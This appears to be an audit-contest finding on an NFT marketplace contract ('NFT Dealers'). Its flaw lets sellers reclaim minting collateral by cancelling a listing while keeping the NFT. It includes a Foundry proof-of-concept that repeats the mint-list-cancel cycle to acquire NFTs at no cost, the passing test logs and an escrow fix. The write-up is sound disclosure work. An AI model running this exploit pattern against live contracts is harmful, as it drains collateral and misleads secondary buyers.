NFT Dealers

First Flight #58
Beginner FriendlyFoundry
100 EXP
Submission Details
Impact: high
Likelihood: high

cancelListing Returns Minting Collateral While Seller Retains the NFT, Enabling Free Acquisition of the Entire Collection

Author Revealed upon completion

Root + Impact

Description


NFTDealers.sol:127-139 and NFTDealers.sol:157-168

  • list() stores listing metadata but never transfers the NFT into contract custody — the seller retains the token throughout the entire listing lifecycle.

  • cancelListing() returns collateralForMinting[listing.tokenId] to the seller and zeroes it, but performs no check on whether the NFT ever left the seller's wallet. Because the seller still holds the NFT at cancellation time, the full lockAmount is returned while the seller's NFT balance remains completely unchanged.

// @> NFTDealers.sol:127-139
function list(uint256 _tokenId, uint32 _price) external onlyWhitelisted {
require(_price >= MIN_PRICE, "Price must be at least 1 USDC");
require(ownerOf(_tokenId) == msg.sender, "Not owner of NFT");
require(s_listings[_tokenId].isActive == false, "NFT is already listed");
require(_price > 0, "Price must be greater than 0");
listingsCounter++;
activeListingsCounter++;
s_listings[_tokenId] =
Listing({seller: msg.sender, price: _price, nft: address(this), tokenId: _tokenId, isActive: true});
// @> NFT never transferred to escrow — seller retains ownership
emit NFT_Dealers_Listed(msg.sender, listingsCounter);
}
// @> NFTDealers.sol:157-168
function cancelListing(uint256 _listingId) external {
Listing memory listing = s_listings[_listingId];
if (!listing.isActive) revert ListingNotActive(_listingId);
require(listing.seller == msg.sender, "Only seller can cancel listing");
s_listings[_listingId].isActive = false;
activeListingsCounter--;
usdc.safeTransfer(listing.seller, collateralForMinting[listing.tokenId]);
// @> lockAmount returned unconditionally — NFT never left seller's wallet
collateralForMinting[listing.tokenId] = 0;
// @> collateral zeroed permanently — NFT now has zero backing
emit NFT_Dealers_ListingCanceled(_listingId);
}

Risk

Likelihood:

  • A whitelisted user mints an NFT, calls list(), then immediately calls cancelListing() — no buyer, no external dependency, and no time constraint is required for the cycle to complete

  • The cycle is repeatable up to MAX_SUPPLY (1,000) times using only the initial 20 USDC as working capital, recycled each iteration

Impact:

  • The entire NFT collection (up to 1,000 tokens × 20 USDC = 20,000 USDC of promised collateral) can be drained by a single whitelisted attacker for a net cost of 0 USDC

  • collateralForMinting[tokenId] is permanently zeroed for every NFT acquired this way, silently destroying the protocol's collateral-backed guarantee for secondary buyers — with no on-chain signal to warn them

Proof of Concept

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.34;
import {Test, console2} from "forge-std/Test.sol";
import {NFTDealers} from "../src/NFTDealers.sol";
import {MockUSDC} from "../src/MockUSDC.sol";
/**
* @title PoC_H2_FreeNFT
* @notice Proof of Concept: H-2 -- cancelListing returns minting collateral
* while seller retains the NFT, enabling free acquisition of the
* entire collection.
*
* ROOT CAUSE:
* list() at NFTDealers.sol:136 does NOT transfer the NFT into contract
* escrow. cancelListing() at NFTDealers.sol:165-166 transfers
* collateralForMinting[tokenId] back to the seller and zeroes it, but
* the seller's NFT balance is completely unchanged.
* Result: mint -> list -> cancel = NFT owned at 0 net USDC cost.
*
* THREE TESTS:
*
* testPoC_H2_SingleCycle
* Proves the core mechanic: one cycle of mint->list->cancel returns
* the full lockAmount to the attacker while they keep the NFT.
*
* testPoC_H2_BulkAcquisition
* Proves scale: 10 NFTs acquired using one lockAmount (20 USDC)
* reused each cycle. Contract ends with 0 USDC. Models minting
* the full 1,000-NFT collection at near-zero cost.
*
* testPoC_H2_CollateralDestroyed_OnResale
* Proves secondary impact: after the free mint cycle, re-listing and
* selling the NFT returns 0 collateral to any party. The protocol's
* stated "collateral-backed NFT" guarantee is silently voided.
*
* NOTE ON LISTING KEY:
* list() stores at s_listings[_tokenId]. cancelListing() and buy() are
* called with tokenId as the parameter to match the storage key and
* isolate H-2 from the separate key-mismatch bug (H-3).
*/
contract PoC_H2_FreeNFT is Test {
NFTDealers public nftDealers;
MockUSDC public usdc;
string internal constant BASE_IMAGE =
"https://images.unsplash.com/photo-1541781774459-bb2af2f05b55";
address public owner = makeAddr("owner");
address public attacker = makeAddr("attacker");
address public buyer = makeAddr("buyer");
uint256 public constant LOCK_AMOUNT = 20e6; // 20 USDC
uint32 public constant MIN_PRICE = 1e6; // 1 USDC (minimum listing)
uint32 public constant SALE_PRICE = 1000e6; // 1,000 USDC (resale test)
uint256 public constant BULK_CYCLES = 10; // NFTs to acquire in bulk test
// 1% fee on 1,000 USDC = 10 USDC
uint256 public constant EXPECTED_FEES = (uint256(SALE_PRICE) * 100) / 10_000;
function setUp() public {
usdc = new MockUSDC();
nftDealers = new NFTDealers(
owner, address(usdc), "NFTDealers", "NFTD", BASE_IMAGE, LOCK_AMOUNT
);
vm.prank(owner);
nftDealers.revealCollection();
vm.prank(owner);
nftDealers.whitelistWallet(attacker);
// Attacker starts with exactly ONE lockAmount.
// The exploit reuses this same 20 USDC for every subsequent NFT.
usdc.mint(attacker, LOCK_AMOUNT);
}
// =========================================================================
// TEST 1: Single cycle -- core exploit
// =========================================================================
/**
* @notice Proves that mint -> list -> cancel returns lockAmount AND
* leaves the attacker as the NFT owner.
*
* Expected: cancel should NOT return collateral while the
* original minter still holds the NFT.
* Actual : 20 USDC returned, NFT retained, collateral zeroed.
*/
function testPoC_H2_SingleCycle() public {
uint256 usdcBefore = usdc.balanceOf(attacker);
assertEq(usdcBefore, LOCK_AMOUNT, "Attacker starts with exactly lockAmount");
console2.log("=== H-2: FREE NFT -- SINGLE CYCLE ===");
console2.log("[0] Attacker USDC before :", usdcBefore / 1e6, "USDC");
console2.log(" Attacker NFTs before :", nftDealers.balanceOf(attacker));
// ── Step 1: Mint ──────────────────────────────────────────────────────
vm.startPrank(attacker);
usdc.approve(address(nftDealers), LOCK_AMOUNT);
nftDealers.mintNft();
vm.stopPrank();
uint256 tokenId = nftDealers.totalMinted(); // = 1
console2.log("[1] After mintNft:");
console2.log(" Attacker USDC :", usdc.balanceOf(attacker) / 1e6, "USDC");
console2.log(" Attacker NFTs :", nftDealers.balanceOf(attacker));
console2.log(" collateralForMinting[1] :", nftDealers.collateralForMinting(tokenId) / 1e6, "USDC");
console2.log(" Contract USDC :", usdc.balanceOf(address(nftDealers)) / 1e6, "USDC");
// ── Step 2: List (NFT never leaves attacker's wallet) ─────────────────
vm.prank(attacker);
nftDealers.list(tokenId, MIN_PRICE);
// NFT still with attacker -- no escrow
assertEq(nftDealers.ownerOf(tokenId), attacker,
"NFT still with attacker after list() -- no escrow");
// ── Step 3: Cancel -> lockAmount returned, NFT retained ───────────────
vm.prank(attacker);
nftDealers.cancelListing(tokenId);
uint256 usdcAfter = usdc.balanceOf(attacker);
uint256 nftsAfter = nftDealers.balanceOf(attacker);
uint256 collateralLeft = nftDealers.collateralForMinting(tokenId);
console2.log("[2] After list -> cancel:");
console2.log(" Attacker USDC :", usdcAfter / 1e6, "USDC <-- fully recovered");
console2.log(" Attacker NFTs :", nftsAfter, " <-- still holds NFT");
console2.log(" collateralForMinting[1] :", collateralLeft / 1e6, "USDC <-- zeroed (should be 20)");
console2.log(" Contract USDC :", usdc.balanceOf(address(nftDealers)) / 1e6, "USDC");
console2.log(" Net USDC cost of NFT : 0 USDC");
// ── Assertions ────────────────────────────────────────────────────────
assertEq(usdcAfter, usdcBefore,
"CRITICAL: attacker recovered full lockAmount while keeping NFT");
assertEq(nftsAfter, 1,
"CRITICAL: attacker still holds 1 NFT after cancel");
assertEq(nftDealers.ownerOf(tokenId), attacker,
"CRITICAL: attacker confirmed as NFT owner post-cancel");
assertEq(collateralLeft, 0,
"CRITICAL: collateralForMinting zeroed -- NFT has no backing");
assertEq(usdc.balanceOf(address(nftDealers)), 0,
"CRITICAL: contract holds 0 USDC despite an NFT existing");
}
// =========================================================================
// TEST 2: Bulk acquisition -- N NFTs for the cost of 1 lockAmount
// =========================================================================
/**
* @notice Attacker acquires BULK_CYCLES NFTs using only one LOCK_AMOUNT,
* recycled through every mint -> list -> cancel cycle.
*
* Models minting the full 1,000-NFT MAX_SUPPLY at near-zero cost.
* After all cycles: attacker holds BULK_CYCLES NFTs, same 20 USDC,
* contract holds 0 USDC.
*/
function testPoC_H2_BulkAcquisition() public {
console2.log("\n=== H-2: BULK FREE MINTING (%d NFTs) ===", BULK_CYCLES);
console2.log("[0] Attacker starting USDC :", usdc.balanceOf(attacker) / 1e6, "USDC");
console2.log(" Legitimate cost would be :", BULK_CYCLES * LOCK_AMOUNT / 1e6, "USDC");
for (uint256 i = 0; i < BULK_CYCLES; i++) {
// Each iteration reuses the same 20 USDC recovered from the previous cancel
vm.startPrank(attacker);
usdc.approve(address(nftDealers), LOCK_AMOUNT);
nftDealers.mintNft();
uint256 tokenId = nftDealers.totalMinted();
nftDealers.list(tokenId, MIN_PRICE);
nftDealers.cancelListing(tokenId); // 20 USDC returned every cycle
vm.stopPrank();
}
uint256 finalUsdc = usdc.balanceOf(attacker);
uint256 finalNFTs = nftDealers.balanceOf(attacker);
uint256 contractUsdc = usdc.balanceOf(address(nftDealers));
console2.log("[1] After %d cycles:", BULK_CYCLES);
console2.log(" Attacker USDC :", finalUsdc / 1e6, "USDC (unchanged)");
console2.log(" Attacker NFTs :", finalNFTs, "NFTs acquired");
console2.log(" Contract USDC :", contractUsdc / 1e6,"USDC (should be %d)", BULK_CYCLES * LOCK_AMOUNT / 1e6);
console2.log(" Net cost per NFT : 0 USDC");
// ── Assertions ────────────────────────────────────────────────────────
assertEq(finalUsdc, LOCK_AMOUNT,
"CRITICAL: attacker holds same starting USDC after acquiring all NFTs");
assertEq(finalNFTs, BULK_CYCLES,
"CRITICAL: attacker holds all minted NFTs");
assertEq(contractUsdc, 0,
"CRITICAL: contract holds 0 USDC despite 10 NFTs existing");
// Every NFT is permanently uncollateralized
for (uint256 t = 1; t <= BULK_CYCLES; t++) {
assertEq(
nftDealers.collateralForMinting(t),
0,
"CRITICAL: all acquired NFTs have zero collateral backing"
);
}
}
// =========================================================================
// TEST 3: Secondary impact -- resold NFT has zero collateral backing
// =========================================================================
/**
* @notice After the free mint cycle, attacker re-lists and sells the NFT.
* collectUsdcFromSelling returns 0 collateral (extracted via cancel).
* A secondary buyer pays full market price for an NFT the protocol
* guarantees has 20 USDC backing -- it silently has none.
*
* This test also demonstrates that the attacker's total proceeds
* equal a normal sale (cancel + collect = 1,010 USDC), proving
* the collateral was extracted from the protocol's accounting
* permanently -- not merely deferred.
*/
function testPoC_H2_CollateralDestroyed_OnResale() public {
console2.log("\n=== H-2: SECONDARY IMPACT -- ZERO COLLATERAL ON RESALE ===");
// ── Free mint cycle ───────────────────────────────────────────────────
vm.startPrank(attacker);
usdc.approve(address(nftDealers), LOCK_AMOUNT);
nftDealers.mintNft();
uint256 tokenId = nftDealers.totalMinted(); // = 1
nftDealers.list(tokenId, MIN_PRICE);
nftDealers.cancelListing(tokenId); // 20 USDC recovered, collateral zeroed
vm.stopPrank();
assertEq(nftDealers.collateralForMinting(tokenId), 0, "collateral zeroed post-cancel");
assertEq(usdc.balanceOf(attacker), LOCK_AMOUNT, "attacker has lockAmount back");
console2.log("[0] After free mint cycle:");
console2.log(" Attacker USDC :", usdc.balanceOf(attacker) / 1e6, "USDC");
console2.log(" collateralForMinting[1] : 0 USDC (extracted via cancel)");
console2.log(" Protocol backing for NFT #1 : 0 USDC (guarantee broken)");
// ── Attacker re-lists at market price ────────────────────────────────
// isActive = false after cancel, so re-listing the same tokenId is allowed
vm.prank(attacker);
nftDealers.list(tokenId, SALE_PRICE);
// ── Unsuspecting buyer purchases at full price ────────────────────────
usdc.mint(buyer, uint256(SALE_PRICE));
vm.startPrank(buyer);
usdc.approve(address(nftDealers), uint256(SALE_PRICE));
nftDealers.buy(tokenId);
vm.stopPrank();
assertEq(nftDealers.ownerOf(tokenId), buyer, "buyer now owns NFT");
console2.log("[1] Buyer pays", uint256(SALE_PRICE) / 1e6, "USDC for NFT #1");
console2.log(" Buyer expects 20 USDC backing (per protocol docs)");
console2.log(" Actual backing : 0 USDC");
// ── Attacker collects sale proceeds ───────────────────────────────────
uint256 attackerBeforeCollect = usdc.balanceOf(attacker);
vm.prank(attacker);
nftDealers.collectUsdcFromSelling(tokenId);
uint256 collectedFromSale = usdc.balanceOf(attacker) - attackerBeforeCollect;
// What attacker receives with the exploit
uint256 actualFromSale = uint256(SALE_PRICE) - EXPECTED_FEES; // 990 USDC (no collateral)
// What attacker would receive on a normal (non-exploited) resale
uint256 normalFromSale = uint256(SALE_PRICE) - EXPECTED_FEES + LOCK_AMOUNT; // 1010 USDC
console2.log("[2] Attacker collected from sale :", collectedFromSale / 1e6, "USDC");
console2.log(" Normal resale would yield :", normalFromSale / 1e6, "USDC");
console2.log(" Attacker total (cancel+sale) :", (LOCK_AMOUNT + collectedFromSale) / 1e6, "USDC");
console2.log(" Normal total (mint+sale) :", normalFromSale / 1e6, "USDC");
// ── Assertions ────────────────────────────────────────────────────────
// collectUsdcFromSelling returned no collateral (already zero)
assertEq(collectedFromSale, actualFromSale,
"Attacker collect returns price - fees with 0 collateral");
// Attacker's TOTAL across cancel + collect equals normal path total
assertEq(
LOCK_AMOUNT + collectedFromSale,
normalFromSale,
"Attacker total (cancel + collect) equals normal sale proceeds"
);
// The protocol's backing guarantee is permanently broken for this NFT
assertEq(
nftDealers.collateralForMinting(tokenId),
0,
"CRITICAL: buyer holds NFT with 0 USDC backing (protocol guarantees 20 USDC)"
);
console2.log("[3] IMPACT: Buyer paid", uint256(SALE_PRICE) / 1e6,
"USDC for an NFT the protocol guarantees has 20 USDC backing.");
console2.log(" Actual backing: 0 USDC.");
console2.log(" The 20 USDC was silently extracted during list->cancel.");
console2.log(" No on-chain signal warns the buyer.");
}
}

POC RESULT

forge test --match-contract PoC_H2_FreeNFT -vv
[⠒] Compiling...
[⠢] Compiling 1 files with Solc 0.8.34
[⠆] Solc 0.8.34 finished in 419.05ms
Compiler run successful!
Ran 3 tests for test/PoC_H2_FreeNFT.t.sol:PoC_H2_FreeNFT
[PASS] testPoC_H2_BulkAcquisition() (gas: 1756122)
Logs:
=== H-2: BULK FREE MINTING (10 NFTs) ===
[0] Attacker starting USDC : 20 USDC
Legitimate cost would be : 200 USDC
[1] After 10 cycles:
Attacker USDC : 20 USDC (unchanged)
Attacker NFTs : 10 NFTs acquired
Contract USDC : 0 USDC (should be %d) 200
Net cost per NFT : 0 USDC
[PASS] testPoC_H2_CollateralDestroyed_OnResale() (gas: 395516)
Logs:
=== H-2: SECONDARY IMPACT -- ZERO COLLATERAL ON RESALE ===
[0] After free mint cycle:
Attacker USDC : 20 USDC
collateralForMinting[1] : 0 USDC (extracted via cancel)
Protocol backing for NFT #1 : 0 USDC (guarantee broken)
[1] Buyer pays 1000 USDC for NFT #1
Buyer expects 20 USDC backing (per protocol docs)
Actual backing : 0 USDC
[2] Attacker collected from sale : 990 USDC
Normal resale would yield : 1010 USDC
Attacker total (cancel+sale) : 1010 USDC
Normal total (mint+sale) : 1010 USDC
[3] IMPACT: Buyer paid 1000 USDC for an NFT the protocol guarantees has 20 USDC backing.
Actual backing: 0 USDC.
The 20 USDC was silently extracted during list->cancel.
No on-chain signal warns the buyer.
[PASS] testPoC_H2_SingleCycle() (gas: 255990)
Logs:
=== H-2: FREE NFT -- SINGLE CYCLE ===
[0] Attacker USDC before : 20 USDC
Attacker NFTs before : 0
[1] After mintNft:
Attacker USDC : 0 USDC
Attacker NFTs : 1
collateralForMinting[1] : 20 USDC
Contract USDC : 20 USDC
[2] After list -> cancel:
Attacker USDC : 20 USDC <-- fully recovered
Attacker NFTs : 1 <-- still holds NFT
collateralForMinting[1] : 0 USDC <-- zeroed (should be 20)
Contract USDC : 0 USDC
Net USDC cost of NFT : 0 USDC
Suite result: ok. 3 passed; 0 failed; 0 skipped; finished in 4.74ms (3.11ms CPU time)
Ran 1 test suite in 46.12ms (4.74ms CPU time): 3 tests passed, 0 failed, 0 skipped (3 total tests)

Recommended Mitigation

Transfer the NFT into contract escrow at the time of listing, and return it to the seller on cancellation. This is the standard escrow-listing pattern and eliminates the free-mint cycle entirely:

function list(uint256 _tokenId, uint32 _price) external onlyWhitelisted {
...
s_listings[_tokenId] =
Listing({seller: msg.sender, price: _price, nft: address(this), tokenId: _tokenId, isActive: true});
+
+ // Transfer NFT into escrow — ties collateral to custody
+ _safeTransfer(msg.sender, address(this), _tokenId, "");
+
emit NFT_Dealers_Listed(msg.sender, listingsCounter);
}
function cancelListing(uint256 _listingId) external {
...
s_listings[_listingId].isActive = false;
activeListingsCounter--;
+
+ // Return NFT from escrow before returning collateral
+ _safeTransfer(address(this), listing.seller, listing.tokenId, "");
+
usdc.safeTransfer(listing.seller, collateralForMinting[listing.tokenId]);
collateralForMinting[listing.tokenId] = 0;
emit NFT_Dealers_ListingCanceled(_listingId);
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!